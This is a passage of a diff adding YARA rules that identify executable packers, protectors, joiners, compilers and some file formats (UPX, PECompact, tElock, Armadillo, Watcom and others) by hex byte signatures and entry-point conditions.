+		$1 = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 55 53 45 52 33 32 2E 44 4C 4C 00 ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00 4D 65 73 73 61 67 65 42 6F 78 41 00 90 4D 69 6E 65 49 6D 70 6F 72 74 5F 45 6E 64 73 73 00}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _Shrinker_34_
+{
+	meta:
+		description = "Shrinker 3.4"
+	strings:
+		$0 = {55 8B EC 56 57 75 6B 68 00 01 00 00 E8 11 0B 00 00 83 C4 04}
+	condition:
+		$0
+}
+rule _DJoin_v07_public_RC4_encryption__drmist_
+{
+	meta:
+		description = "DJoin v0.7 public (RC4 encryption) -> drmist"
+	strings:
+		$0 = {C6 05 ?? ?? 40 00 00 C6 05 ?? ?? 40 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _EncryptPE_22004810__22005314__WFS_
+{
+	meta:
+		description = "EncryptPE 2.2004.8.10 - 2.2005.3.14 -> WFS"
+	strings:
+		$0 = {60 9C 64 FF 35 00 00 00 00 E8 7A}
+	condition:
+		$0 at entrypoint
+}
+rule _Encapsulated_Postscript_graphics_file_v20_EPSF12_
+{
+	meta:
+		description = "Encapsulated Postscript graphics file v2.0 EPSF-1.2"
+	strings:
+		$0 = {25 21 50 53 2D 41 64 6F 62 65 2D 32 2E 30 20 45 50 53 46 2D 31 2E 32}
+	condition:
+		$0
+}
+rule _PECompact_v110b2_
+{
+	meta:
+		description = "PECompact v1.10b2"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 60 40 ?? 87 DD 8B 85 94 60}
+	condition:
+		$0 at entrypoint
+}
+rule _Embed_PE_v113__cyclotron_
+{
+	meta:
+		description = "Embed PE v1.13 -> cyclotron"
+	strings:
+		$0 = {83 EC 50 60 68 5D B9 52 5A E8 2F 99 00 00 DC 99 F3 57 05 68}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_2xx_compressed_resources__wwwstrongbitcom__SignByhaggar_
+{
+	meta:
+		description = "EXECryptor 2.xx (compressed resources) -> www.strongbit.com * Sign.By.haggar"
+	strings:
+		$0 = {56 57 53 31 DB 89 C6 89 D7 0F B6 06 89 C2 83 E0 1F C1 EA 05 74 2D 4A 74 15 8D 5C 13 02 46 C1 E0 08 89 FA 0F B6 0E 46 29 CA 4A 29 C2 EB 32 C1 E3 05 8D 5C 03 04 46 89 FA 0F B7 0E 29 CA 4A 83 C6 02 EB 1D C1 E3 04 46 89 C1 83 E1 0F 01 CB C1 E8 05 73 07 43 89 F2 01 DE EB 06 85 DB 74 0E EB A9 56 89 D6 89 D9 F3 A4 31 DB 5E EB 9D 89 F0 5B 5F 5E C3}
+	condition:
+		$0
+}
+rule _Unknown_encryptor_1_
+{
+	meta:
+		description = "Unknown encryptor (1)"
+	strings:
+		$0 = {EB ?? 2E 90 ?? ?? 8C DB 8C CA 8E DA FA 8B EC BE ?? ?? BC ?? ?? BF}
+	condition:
+		$0 at entrypoint
+}
+rule _Watcom_CCpp_
+{
+	meta:
+		description = "Watcom C/C++"
+	strings:
+		$0 = {E9 ?? ?? 00 00 03 10 40 00 57 41 54 43 4F 4D 20 43 2F 43 2B 2B 33 32 20 52 75 6E 2D 54 69 6D 65 20 73 79 73 74 65 6D 2E 20 28 63 29 20 43 6F 70 79 72 69 67 68 74 20 62 79 20 57 41 54 43 4F 4D 20 49 6E 74 65 72 6E 61 74 69 6F 6E 61 6C 20 43 6F 72 70 2E 20}
+		$1 = {E9 ?? ?? 00 00 03 10 40 00 57 41 54 43 4F 4D 20 43 2F 43 2B 2B 33 32 20 52 75 6E 2D 54 69 6D 65 20 73 79 73 74 65 6D 2E 20 28 63 29 20 43 6F 70 79 72 69 67 68 74 20 62 79 20 57 41 54 43 4F 4D 20 49 6E 74 65 72 6E 61 74 69 6F 6E 61 6C 20 43 6F 72 70 2E 20 31 39 38 38 2D 31 39 39 35 2E 20 41 6C 6C 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2E 00 00 00 00 00 00}
+	condition:
+		$0 or $1
+}
+rule _UPX_V194__Markus_Oberhumer_amp_Laszlo_Molnar_amp_John_Reiser_
+{
+	meta:
+		description = "UPX V1.94 -> Markus Oberhumer &amp; Laszlo Molnar &amp; John Reiser"
+	strings:
+		$0 = {FF D5 80 A7 ?? ?? ?? ?? ?? 58 50 54 50 53 57 FF D5 58 61 8D 44 24 ?? 6A 00 39 C4 75 FA 83 EC 80 E9}
+	condition:
+		$0
+}
+rule _Pelles_C_28x45x__Pelle_Orinius_
+{
+	meta:
+		description = "Pelles C 2.8.x-4.5.x -> Pelle Orinius"
+	strings:
+		$0 = {55 89 E5 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 FF 35 ?? ?? ?? ?? 64 89 25 ?? ?? ?? ?? 83 EC}
+	condition:
+		$0 at entrypoint
+}
+rule _APEX_C_BLT_Apex_40__500mhz_
+{
+	meta:
+		description = "APEX_C (BLT Apex 4.0) -> 500mhz"
+	strings:
+		$0 = {68 ?? ?? ?? ?? B9 FF FF FF 00 01 D0 F7 E2 72 01 48 E2 F7 B9 FF 00 00 00 8B 34 24 80 36 FD 46 E2 FA C3}
+	condition:
+		$0 at entrypoint
+}
+rule _DEF_10__bartxt_
+{
+	meta:
+		description = "DEF 1.0 -> bart/xt"
+	strings:
+		$0 = {BE ?? ?? 40 00 6A ?? 59 80 7E 07 00 74 11 8B 46 0C 05 00 00 40 00 8B 56 10 30 10 40 4A 75 FA 83 C6 28 E2 E4 68 ?? ?? 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+		$1 = {BE ?? ?? 40 00 6A ?? 59 80 7E 07 00 74 11 8B 46 0C 05 00 00 40 00 8B 56 10 30 10 40 4A 75 FA 83 C6 28 E2 E4 68 ?? ?? 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _bambam_V001__bedrock_
+{
+	meta:
+		description = "bambam V0.01 -> bedrock"
+	strings:
+		$0 = {6A 14 E8 9A 05 00 00 8B D8 53 68 ?? ?? ?? ?? E8 6C FD FF FF}
+		$1 = {6A 14 E8 9A 05 00 00 8B D8 53 68 ?? ?? ?? ?? E8 6C FD FF FF B9 05 00 00 00 8B F3 BF ?? ?? ?? ?? 53 F3 A5 E8 8D 05 00 00 8B 3D ?? ?? ?? ?? A1 ?? ?? ?? ?? 66 8B 15 ?? ?? ?? ?? B9 ?? ?? ?? ?? 2B CF 89 45 E8 89 0D ?? ?? ?? ?? 66 89 55 EC 8B 41 3C 33 D2 03 C1}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _VProtector_13X__vcasm_
+{
+	meta:
+		description = "VProtector 1.3X -> vcasm"
+	strings:
+		$0 = {00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 60 8B B4 24 24 00 00 00 8B BC 24 28 00 00 00 FC C6 C2 80 33 DB A4 C6 C3 02 E8 A9 00 00 00 0F 83 F1 FF FF FF 33 C9 E8 9C 00 00 00 0F 83 2D 00 00 00 33 C0 E8 8F 00 00 00 0F 83 37 00 00 00 C6 C3 02 41 C6 C0 10 E8 7D 00 00 00 10 C0 0F 83 F3 FF FF FF}
+		$1 = {E9 B9 16 00 00 55 8B EC 81 EC 74 04 00 00 57 68 00 00 00 00 68 00 00 C2 14 68 FF FF 00 00 68 ?? ?? ?? ?? 9C 81 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9D 54 FF 14 24 68 00 00 00 00 68 00 00 C2 10 68 ?? ?? ?? ?? 9C 81 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9D 54 FF 14 24 68 00 00 00 00 68 ?? ?? ?? ?? 9C 81 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9D 54 FF 14 24 68 00 00 00 00 68 FF FF C2 10 68 ?? ?? ?? ?? 9C 81 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9D 54 FF 14 24 68 00 00 00 00 68 ?? ?? ?? ?? 9C 81 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9D 54 FF 14 24 68 00 00 00 00 68 00 00 C2 14 68 FF FF 00 00 68 ?? ?? ?? ?? 9C 81 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9D 54 FF 14 24 68 00 00 00 00 68 ?? ?? ?? ?? 9C 81 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9D 54 FF 14 24 68 00 00 00 00}
+	condition:
+		$0 or $1 at entrypoint
+}
+rule _CodeLock_vxx_
+{
+	meta:
+		description = "Code-Lock vx.x"
+	strings:
+		$0 = {43 4F 44 45 2D 4C 4F 43 4B 2E 4F 43 58 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Unknown_Protected_Mode_compiler_2_
+{
+	meta:
+		description = "Unknown Protected Mode compiler (2)"
+	strings:
+		$0 = {FA FC 0E 1F E8 ?? ?? 8C C0 66 0F B7 C0 66 C1 E0 ?? 66 67 A3}
+	condition:
+		$0 at entrypoint
+}
+rule _REALbasic_
+{
+	meta:
+		description = "REALbasic"
+	strings:
+		$0 = {55 89 E5 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 50 ?? ?? ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _NsPack_v23__North_Star_
+{
+	meta:
+		description = "NsPack v2.3 -> North Star"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D B8 07 00 00 00 2B E8 8D B5 ?? ?? FF FF 8B 06 83 F8 00 74 11 8D B5 ?? ?? FF FF 8B 06 83 F8 01 0F 84 4B 02 00 00 C7 06 01 00 00 00 8B D5 8B 85 ?? ?? FF FF 2B D0 89 95 ?? ?? FF FF 01 95 ?? ?? FF FF 8D B5 ?? ?? FF FF 01 16 8B 36 8B FD 60 6A 40 68 00 10 00 00 68 00 10 00 00 6A 00 FF 95 ?? ?? FF FF 85 C0 0F 84 56 03 00 00 89 85 ?? ?? FF FF E8 00 00 00 00 5B B9 54 03 00 00 03 D9 50 53 E8 9D 02 00 00 61}
+	condition:
+		$0
+}
+rule _SafeDiscSafeCast_2xx__3xx__Macrovision_
+{
+	meta:
+		description = "SafeDisc/SafeCast 2.xx - 3.xx -> Macrovision"
+	strings:
+		$0 = {55 8B EC 60 BB ?? ?? ?? ?? 33 C9 8A 0D 3D ?? ?? ?? 85 C9 74 0C B8 ?? ?? ?? ?? 2B C3 83 E8 05 EB 0E 51 B9 ?? ?? ?? ?? 8B C1 2B C3 03 41 01 59 C6 03 E9 89 43 01 51 68 09 ?? ?? ?? 33 C0 85 C9 74 05 8B 45 08 EB 00 50 E8 76 00 00 00 83 C4 08 59 83 F8 00 74 1C}
+		$1 = {55 8B EC 60 BB ?? ?? ?? ?? 33 C9 8A 0D 3D ?? ?? ?? 85 C9 74 0C B8 ?? ?? ?? ?? 2B C3 83 E8 05 EB 0E 51 B9 ?? ?? ?? ?? 8B C1 2B C3 03 41 01 59 C6 03 E9 89 43 01 51 68 09 ?? ?? ?? 33 C0 85 C9 74 05 8B 45 08 EB 00 50 E8 76 00 00 00 83 C4 08 59 83 F8 00 74 1C C6 03 C2 C6 43 01 0C 85 C9 74 09 61 5D B8 00 00 00 00 EB 97 50 A1 29 ?? ?? ?? ?? D0 61 5D EB 46 80 7C 24 08 00 75 3F 51 8B 4C 24 04 89 0D ?? ?? ?? ?? B9 ?? ?? ?? ?? 89 4C 24 04 59 EB 28 50 B8 2D ?? ?? ?? ?? 70 08 8B 40 0C FF D0 B8 2D ?? ?? ?? ?? 30 8B 40 04 FF D0 58 FF 35 ?? ?? ?? ?? C3 72 16 61 13 60 0D E9 ?? ?? ?? ?? CC CC 81 EC E8 02 00 00 53 55 56 57}
+	condition:
+		$0 or $1 at entrypoint
+}
+rule _COMPACK_v51_
+{
+	meta:
+		description = "COMPACK v5.1"
+	strings:
+		$0 = {BD ?? ?? 50 06 8C CB 03 DD 8C D2 4B 8E DB BE ?? ?? BF ?? ?? 8E C2 B9 ?? ?? F3 A5 4A 4D 75 ?? 8B F7 8E DA 0E 07 06 16}
+	condition:
+		$0 at entrypoint
+}
+rule _PEncrypt_v30_
+{
+	meta:
+		description = "PEncrypt v3.0"
+	strings:
+		$0 = {E8 00 00 00 00 5D 81 ED 05 10 40 00 8D B5 24 10 40 00 8B FE B9 0F 00 00 00 BB ?? ?? ?? ?? AD 33 C3 E2 FA}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_v20__Markus_Laszlo__Reiser_h_
+{
+	meta:
+		description = "UPX v2.0 -> Markus, Laszlo & Reiser (h)"
+	strings:
+		$0 = {55 FF 96 ?? ?? ?? ?? 09 C0 74 07 89 03 83 C3 04 EB ?? FF 96 ?? ?? ?? ?? 8B AE ?? ?? ?? ?? 8D BE 00 F0 FF FF BB 00 10 00 00 50 54 6A 04 53 57 FF D5 8D 87 ?? ?? 00 00 80 20 7F 80 60 28 7F 58 50 54 50 53 57 FF D5 58 61 8D 44 24 80 6A 00 39 C4 75 FA 83 EC 80}
+		$1 = {55 FF 96 ?? ?? ?? ?? 09 C0 74 07 89 03 83 C3 04 EB ?? FF 96 ?? ?? ?? ?? 8B AE ?? ?? ?? ?? 8D BE 00 F0 FF FF BB 00 10 00 00 50 54 6A 04 53 57 FF D5 8D 87 ?? ?? 00 00 80 20 7F 80 60 28 7F 58 50 54 50 53 57 FF D5 58 61 8D 44 24 80 6A 00 39 C4 75 FA 83 EC 80 E9}
+	condition:
+		$0 or $1
+}
+rule _WATCOM_CCpp_32_RunTime_System_19881994_
+{
+	meta:
+		description = "WATCOM C/C++ 32 Run-Time System 1988-1994"
+	strings:
+		$0 = {FB 83 ?? ?? 89 E3 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 66 ?? ?? ?? 66 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 29 C0 B4 30 CD 21}
+	condition:
+		$0 at entrypoint
+}
+rule _Alias_PIXVivid_IMG_Graphics_format_
+{
+	meta:
+		description = "Alias PIX/Vivid IMG Graphics format"
+	strings:
+		$0 = {00 00 ?? ?? 00 18 ?? ?? ?? ?? 01}
+	condition:
+		$0
+}
+rule _RLPack_V118_Basic_Edition_LZMA_430__ap0x_
+{
+	meta:
+		description = "RLPack V1.18 Basic Edition (LZMA 4.30) -> ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 21 0B 00 00 8D 9D FF 02 00 00 33 FF E8 9F 01 00 00 6A 40 68 00}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE_Shield_05__Smoke_
+{
+	meta:
+		description = "EXE Shield 0.5 -> Smoke"
+	strings:
+		$0 = {E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D 81 ED BC 1A 40 00 EB 01 00 8D B5 46 1B 40 00 BA B3 0A 00 00 EB 01 00 8D 8D F9 25 40 00 8B 09 E8 14 00 00 00 83 EB 01 00 8B FE E8 00 00 00 00 58 83 C0 07 50 C3 00 EB 04 58 40}
+	condition:
+		$0
+}
+rule _Microsoft_CAB_SFX_
+{
+	meta:
+		description = "Microsoft CAB SFX"
+	strings:
+		$0 = {E8 0A 00 00 00 E9 7A FF FF FF CC CC CC CC CC}
+	condition:
+		$0 at entrypoint
+}
+rule _RosAsm_2050a__Betov_
+{
+	meta:
+		description = "RosAsm 2050a -> Betov"
+	strings:
+		$0 = {55 8B EC 60 8B 5D 08 B9 08 00 00 00 BF ?? ?? ?? ?? 83 C7 07 FD 8A C3 24 0F 04 30 3C 39 76 02 04 07 AA C1 EB 04 E2 EE FC 68 00 10 00 00 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 FF 15 ?? ?? ?? ?? 61 8B E5 5D C2 04 00}
+	condition:
+		$0
+}
+rule _PseudoSigner_01_Lockless_Intro_Pack__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Lockless Intro Pack] -> Anorganix"
+	strings:
+		$0 = {2C E8 EB 1A 90 90 5D 8B C5 81 ED F6 73 90 90 2B 85 90 90 90 90 83 E8 06 89 85 FF 01 EC AD E9}
+	condition:
+		$0 at entrypoint
+}
+rule _Spalsher_v10__v30_
+{
+	meta:
+		description = "Spalsher v1.0 - v3.0"
+	strings:
+		$0 = {9C 60 8B 44 24 24 E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? ?? 50 E8 ED 02 ?? ?? 8C C0 0F 84}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v051_
+{
+	meta:
+		description = "tElock v0.51"
+	strings:
+		$0 = {C1 EE 00 66 8B C9 EB 01 EB 60 EB 01 EB 9C E8 00 00 00 00 5E 83 C6 5E 8B FE 68 79 01 59 EB 01 EB AC 54 E8 03 5C EB 08}
+	condition:
+		$0 at entrypoint
+}
+rule _UPXFreak_v01_Borland_Delphi__HMX0101_
+{
+	meta:
+		description = "UPXFreak v0.1 (Borland Delphi) -> HMX0101"
+	strings:
+		$0 = {BE ?? ?? ?? ?? 83 C6 01 FF E6 00 00 00 ?? ?? ?? 00 03 00 00 00 ?? ?? ?? ?? 00 10 00 00 00 00 ?? ?? ?? ?? 00 00 ?? F6 ?? 00 B2 4F 45 00 ?? F9 ?? 00 EF 4F 45 00 ?? F6 ?? 00 8C D1 42 00 ?? 56 ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? 24 ?? 00 ?? ?? ?? 00 34 50 45 00 ?? ?? ?? 00 FF FF 00 00 ?? 24 ?? 00 ?? 24 ?? 00 ?? ?? ?? 00 40 00 00 C0 00 00 ?? ?? ?? ?? 00 00 ?? 00 00 00 ?? 1E ?? 00 ?? F7 ?? 00 A6 4E 43 00 ?? 56 ?? 00 AD D1 42 00 ?? F7 ?? 00 A1 D2 42 00 ?? 56 ?? 00 0B 4D 43 00 ?? F7 ?? 00 ?? F7 ?? 00 ?? 56 ?? 00 ?? ?? ?? ?? ?? 00 00 00 ?? ?? ?? ?? ?? ?? ?? 77 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 77 ?? ?? 00 00 ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? 00 00 ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_440__Silicon_Realms_Toolworks_
+{
+	meta:
+		description = "Armadillo 4.40 -> Silicon Realms Toolworks"
+	strings:
+		$0 = {31 2E 31 2E 34 00 00 00 C2 E0 94 BE 93 FC DE C6 B6 24 83 F7 D2 A4 92 77 40 27 CF EB D8 6F 50 B4 B5 29 24 FA 45 08 04 52 D5 1B D2 8C 8A 1E 6E FF 8C 5F 42 89 F1 83 B1 27 C5 69 57 FC 55 0A DD 44 BE 2A 02 97 6B 65 15 AA 31 E9 28 7D 49 1B DF B5 5D 08 A8 BA A8}
+	condition:
+		$0 at entrypoint
+}
+rule _Unknown_packer_05_
+{
+	meta:
+		description = "Unknown packer (05)"
+	strings:
+		$0 = {FA BB ?? ?? B9 ?? ?? 87 E5 87 27 03 E3 91 8A CB 80 E1 ?? D3 C4 91 33 E3 87 27}
+	condition:
+		$0 at entrypoint
+}
+rule _Packman_0001__Bubbasoft_h_
+{
+	meta:
+		description = "Packman 0.0.0.1 -> Bubbasoft (h)"
+	strings:
+		$0 = {0F 85 ?? FF FF FF 8D B3 ?? ?? ?? ?? EB 3D 8B 46 0C 03 C3 50 FF 55 00 56 8B 36 0B F6 75 02 8B F7 03 F3 03 FB EB 1B D1 C1 D1 E9 73 05 0F B7 C9 EB 05 03 CB 8D 49 02 50 51 50 FF 55 04 AB 58 83 C6 04 8B 0E 85 C9 75 DF 5E 83 C6 14 8B 7E 10 85 FF 75 BC 8D 8B 00 00 ?? ?? B8 00 ?? ?? 00 0B C0 74 34 03 C3 EB 2A 8D 70 08 03 40 04 33 ED 33 D2 66 8B 2E 66 0F A4 EA 04 80 FA 03 75 0D 81 E5 FF 0F 00 00 03 EF 03 EB 01 4D 00 46 46 3B F0 75 DC 8B 38 85 FF 75 D0 61 E9 ?? FE FF FF 02 D2 75 05 8A 16 46 12 D2 C3}
+	condition:
+		$0
+}
+rule _Enigma_protector_110_unregistered_
+{
+	meta:
+		description = "Enigma protector 1.10 (unregistered)"
+	strings:
+		$0 = {60 72 80 72 88 72 8C 72 90 72 94 72 98 72 9C 72 A0 72 A4 59 A8 B0 5C E8 39 D5 39 E4 39 F1 31 F9 5C 3D 58 CA 5F 56 B1 2D 20 7A 2E 30 16 32 72 2B 72 36 1C A5 33 A9 9C AD 9C B1 9C B5 9C B9 9C BD 9C C1 9C C5 9C C9 9C CD 9C D1 9C D5 9C D9 9C DD 9C E1 9C E5 89}
+		$1 = {60 72 80 72 88 72 8C 72 90 72 94 72 98 72 9C 72 A0 72 A4 59 A8 B0 5C E8 39 D5 39 E4 39 F1 31 F9 5C 3D 58 CA 5F 56 B1 2D 20 7A 2E 30 16 32 72 2B 72 36 1C A5 33 A9 9C AD 9C B1 9C B5 9C B9 9C BD 9C C1 9C C5 9C C9 9C CD 9C D1 9C D5 9C D9 9C DD 9C E1 9C E5 89 E9 51 0B C4 80 BC 7E 35 09 37 E7 C9 3D C9 45 C9 4D 74 92 BA E4 E9 24 6B DF 3E 0E 38 0C 49 10 27 80 51 A1 8E 3A A3 C8 AE 3B 1C 35}
+	condition:
+		$0 or $1
+}
+rule _InstallShield_Custom_
+{
+	meta:
+		description = "InstallShield Custom"
+	strings:
+		$0 = {55 8B EC 83 EC 44 56 FF 15 ?? ?? 41 00 8B F0 85 F6 75 08 6A FF FF 15 ?? ?? 41 00 8A 06 57 8B 3D ?? ?? 41 00 3C 22 75 1B 56 FF D7 8B F0 8A 06 3C 22 74 04 84 C0 75 F1 80 3E 22 75 15 56 FF D7 8B}
+	condition:
+		$0 at entrypoint
+}
+rule _MinGW_v32x_Dll_main_
+{
+	meta:
+		description = "MinGW v3.2.x (Dll_main)"
+	strings:
+		$0 = {55 89 E5 83 EC 18 89 75 FC 8B 75 0C 89 5D F8 83 FE 01 74 5C 89 74 24 04 8B 55 10 89 54 24 08 8B 55 08 89 14 24 E8 96 01 00 00 83 EC 0C 83 FE 01 89 C3 74 2C 85 F6 75 0C 8B 0D 00 30 00 10 85 C9 75 10 31 DB 89 D8 8B 5D F8 8B 75 FC 89 EC 5D C2 0C 00 E8 59 00 00 00 EB EB 8D B4 26 00 00 00 00 85 C0 75 D0 E8 47 00 00 00 EB C9 90 8D 74 26 00 C7 04 24 80 00 00 00 E8 F4 05 00 00 A3 00 30 00 10 85 C0 74 1A C7 00 00 00 00 00 A3 10 30 00 10 E8 3B 02 00 00 E8 C6 01 00 00 E9 75 FF FF FF E8 BC 05 00 00 C7 00 0C 00 00 00 31 C0 EB 98 89 F6 55 89 E5 83 EC 08 89 5D FC 8B 15 00 30 00 10 85 D2 74 29 8B 1D 10 30 00 10 83 EB 04 39 D3 72 0D 8B 03 85 C0 75 2A 83 EB 04 39 D3 73 F3 89 14 24 E8 6B 05 00 00 31 C0 A3 00 30 00 10 C7 04 24 00 00 00 00 E8 48 05 00 00 8B 5D FC 89 EC 5D C3}
+	condition:
+		$0 at entrypoint
+}
+rule _SCRAM_vC5_
+{
+	meta:
+		description = "SCRAM! vC5"
+	strings:
+		$0 = {B8 ?? ?? 50 9D 9C 58 25 ?? ?? 75 ?? BA ?? ?? B4 09 CD 21 CD 20}
+	condition:
+		$0 at entrypoint
+}
+rule _Inno_Setup_Module_v129_
+{
+	meta:
+		description = "Inno Setup Module v1.2.9"
+	strings:
+		$0 = {55 8B EC 83 C4 C0 53 56 57 33 C0 89 45 F0 89 45 EC 89 45 C0 E8 5B 73 FF FF E8 D6 87 FF FF E8 C5 A9 FF FF E8 E0}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v071b7_
+{
+	meta:
+		description = "tElock v0.71b7"
+	strings:
+		$0 = {60 E8 48 11 00 00 C3 83}
+	condition:
+		$0 at entrypoint
+}
+rule _Exe_Shield_v27b_
+{
+	meta:
+		description = "Exe Shield v2.7b"
+	strings:
+		$0 = {EB 06 68 40 85 06 00 C3 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90 40 00 87 DD 8B 85 E6 90 40 00 01 85 33 90 40 00 66 C7 85 30 90 40 00 90 90 01 85 DA 90 40 00 01 85 DE 90 40 00 01 85 E2 90 40 00 BB 7B 11 00 00 03 9D EA 90 40 00 03 9D E6 90 40 00 53 8B C3 8B FB 2D AC 90 40 00 89 85 AD 90 40 00 8D B5 AC 90 40 00 B9 40 04 00 00 F3 A5 8B FB C3 BD 00 00 00 00 8B F7 83 C6 54 81 C7 FF 10 00 00 56 57 57 56 FF 95 DA 90 40 00 8B C8 5E 5F 8B C1 C1 F9 02 F3 A5 03 C8 83 E1 03 F3 A4 EB 26 D0 12 5B 00 AC 12 5B 00 48 12 5B 00 00 00 40 00 00 D0 5A 00 00 10 5B 00 87 DB 87 DB 87 DB 87 DB 87 DB 87 DB 87 DB 8B 0E B5 E6 90 40 07 56 03 76 EE 0F 18 83 C6 14 12 35 97 80 8D BD 63 39 0D B9 06 86 02 07 F3 A5 6A 04 68 06 10 12 1B FF B5 51 29 EE 10 22 95}
+	condition:
+		$0 at entrypoint
+}
+rule _RJoiner_by_Vaska_Sign_from_pinch_25032007_1700_
+{
+	meta:
+		description = "RJoiner by Vaska (Sign from pinch 25.03.2007 17:00)"
+	strings:
+		$0 = {E8 03 FD FF FF 6A 00 E8 0C 00 00 00 FF 25 6C 10 40 00 FF 25 70 10 40 00 FF 25 74 10 40 00 FF 25 78 10 40 00 FF 25 7C 10 40 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_UPX_06__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [UPX 0.6] -> Anorganix"
+	strings:
+		$0 = {60 E8 00 00 00 00 58 83 E8 3D 50 8D B8 00 00 00 FF 57 8D B0 E8 00 00 00 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _BeRoEXEPacker_V100__BeRo__Sign_by_fly_
+{
+	meta:
+		description = "BeRoEXEPacker V1.00 -> BeRo ! Sign by fly"
+	strings:
+		$0 = {BA ?? ?? ?? ?? 8D B2 ?? ?? ?? ?? 8B 46 ?? 85 C0 74 51 03 C2 8B 7E ?? 8B 1E 85 DB 75 02 8B DF 03 DA 03 FA 52 57 50 FF 15 ?? ?? ?? ?? 5F 5A 85 C0 74 2F 8B C8 8B 03 85 C0 74 22 0F BA F0 1F 72 04 8D 44 ?? ?? 51 52 57 50 51 FF 15 ?? ?? ?? ?? 5F 5A 59 85 C0 74 0B AB 83 C3 04 EB D8 83 C6 14 EB AA 61 C3}
+	condition:
+		$0
+}
+rule _PseudoSigner_01_Macromedia_Flash_Projector_60__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Macromedia Flash Projector 6.0] -> Anorganix"
+	strings:
